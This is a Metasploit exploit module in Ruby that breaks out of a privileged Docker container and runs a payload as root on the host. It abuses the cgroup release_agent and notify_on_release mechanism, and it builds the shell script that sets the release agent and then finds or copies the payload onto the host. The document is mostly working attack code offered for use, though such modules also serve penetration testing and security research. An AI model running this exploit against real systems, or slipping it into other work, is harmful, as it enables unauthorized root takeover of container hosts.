This Metasploit module escapes from a privileged Docker container and obtains root on the host machine by abusing the Linux cgroup notification on release feature. This exploit should work against any container started with the following flags: --cap-add=SYS_ADMIN, --privileged.
1119f42290936fb48ebeebd091ecf88d##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
# POC modified from https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
{
'Name' => 'Docker Privileged Container Escape',
'Description' => %q{
This module escapes from a privileged Docker container and obtains root on the host machine by abusing the Linux cgroup notification on release
feature. This exploit should work against any container started with the following flags: `--cap-add=SYS_ADMIN`, `--privileged`.
},
'License' => MSF_LICENSE,
'Author' => ['stealthcopter'],
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_MIPSLE, ARCH_MIPSBE],
'Targets' => [['Automatic', {}]],
'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 20 },
'SessionTypes' => ['shell', 'meterpreter'],
'DefaultTarget' => 0,
'References' => [
['EDB', '47147'],
['URL', 'https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/'],
['URL', 'https://github.com/stealthcopter/deepce']
],
'DisclosureDate' => 'Jul 17 2019' # Felix Wilhelm @_fel1x first mentioned on twitter Felix Wilhelm
}
)
)
register_advanced_options(
[
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptBool.new('ForcePayloadSearch', [false, 'Search for payload on the file system rather than copying it from container', false]),
OptString.new('WritableContainerDir', [true, 'A directory where we can write files in the container', '/tmp']),
OptString.new('WritableHostDir', [true, 'A directory where we can write files inside on the host', '/tmp']),
]
)
end
def base_dir_container
datastore['WritableContainerDir'].to_s
end
def base_dir_host
datastore['WritableHostDir'].to_s
end
# Get the container id and check it's the expected 64 char hex string, otherwise return nil
def container_id
id = cmd_exec('basename $(cat /proc/1/cpuset)').chomp
unless id.match(/\A[\h]{64}\z/).nil?
id
end
end
# Check we have all the prerequisites to perform the escape
def check
# are in a docker container
unless file?('/.dockerenv')
return CheckCode::Safe('Not inside a Docker container')
end
# is root user
unless is_root?
return Exploit::CheckCode::Safe('Exploit requires root inside container')
end
# are rdma files present in /sys/
path = cmd_exec('ls -x /s*/fs/c*/*/r* | head -n1')
unless path.start_with? '/'
return Exploit::CheckCode::Safe('Required /sys/ files for exploitation not found, possibly old version of docker or not a privileged container.')
end
CheckCode::Appears('Inside Docker container and target appears vulnerable')
end
def exploit
unless writable? base_dir_container
fail_with Failure::BadConfig, "#{base_dir_container} is not writable"
end
pl = generate_payload_exe
exe_path = "#{base_dir_container}/#{rand_text_alpha(6..11)}"
print_status("Writing payload executable to '#{exe_path}'")
upload_and_chmodx(exe_path, pl)
register_file_for_cleanup(exe_path)
print_status('Executing script to exploit privileged container')
script = shell_script(exe_path)
vprint_status("Script: #{script}")
print_status(cmd_exec(script))
print_status "Waiting #{datastore['WfsDelay']}s for payload"
end
def shell_script(payload_path)
# The tricky bit is finding the payload on the host machine in order to execute it. The options here are
# 1. Find the file on the host operating system `find /var/lib/docker/overlay2/ -name 'JGsgvlU' -exec {} \;`
# 2. Copy the payload out of the container and execute it `docker cp containerid:/tmp/JGsgvlU /tmp/JGsgvlU && /tmp/JGsgvlU`
id = container_id
filename = File.basename(payload_path)
vprint_status("container id #{id}")
# If we cant find the id, or user requested it, search for the payload on the filesystem rather than copying it out of container
if id.nil? || datastore['ForcePayloadSearch']
# We couldn't find a container name, lets try and find the payload on the filesystem and then execute it
print_status('Searching for payload on host')
command = "find /var/lib/docker/overlay2/ -name '#{filename}' -exec {} \\;"
else
# We found a container id, copy the payload to host, then execute it
payload_path_host = "#{base_dir_host}/#{filename}"
print_status("Found container id #{container_id}, copying payload to host")
command = "docker cp #{id}:#{payload_path} #{payload_path_host}; #{payload_path_host}"
end
vprint_status(command)
# the cow variables are random filenames to use for the exploit
c = rand_text_alpha(6..8)
o = rand_text_alpha(6..8)
w = rand_text_alpha(6..8)
%{
d=$(dirname "$(ls -x /s*/fs/c*/*/r* | head -n1)")
mkdir -p "$d/#{w}"
echo 1 >"$d/#{w}/notify_on_release"
t="$(sed -n 's/.*\\perdir=\\([^,]*\\).*/\\1/p' /etc/mtab)"
touch /#{o}
echo "$t/#{c}" >"$d/release_agent"
printf "#!/bin/sh\\n%s > %s/#{o}" "#{command}" "$t">/#{c}
chmod +x /#{c}
sh -c "echo 0 >$d/#{w}/cgroup.procs"
sleep 1
cat /#{o}
rm /#{c} /#{o}
}.strip.split("\n").map(&:strip).join(';')
end
end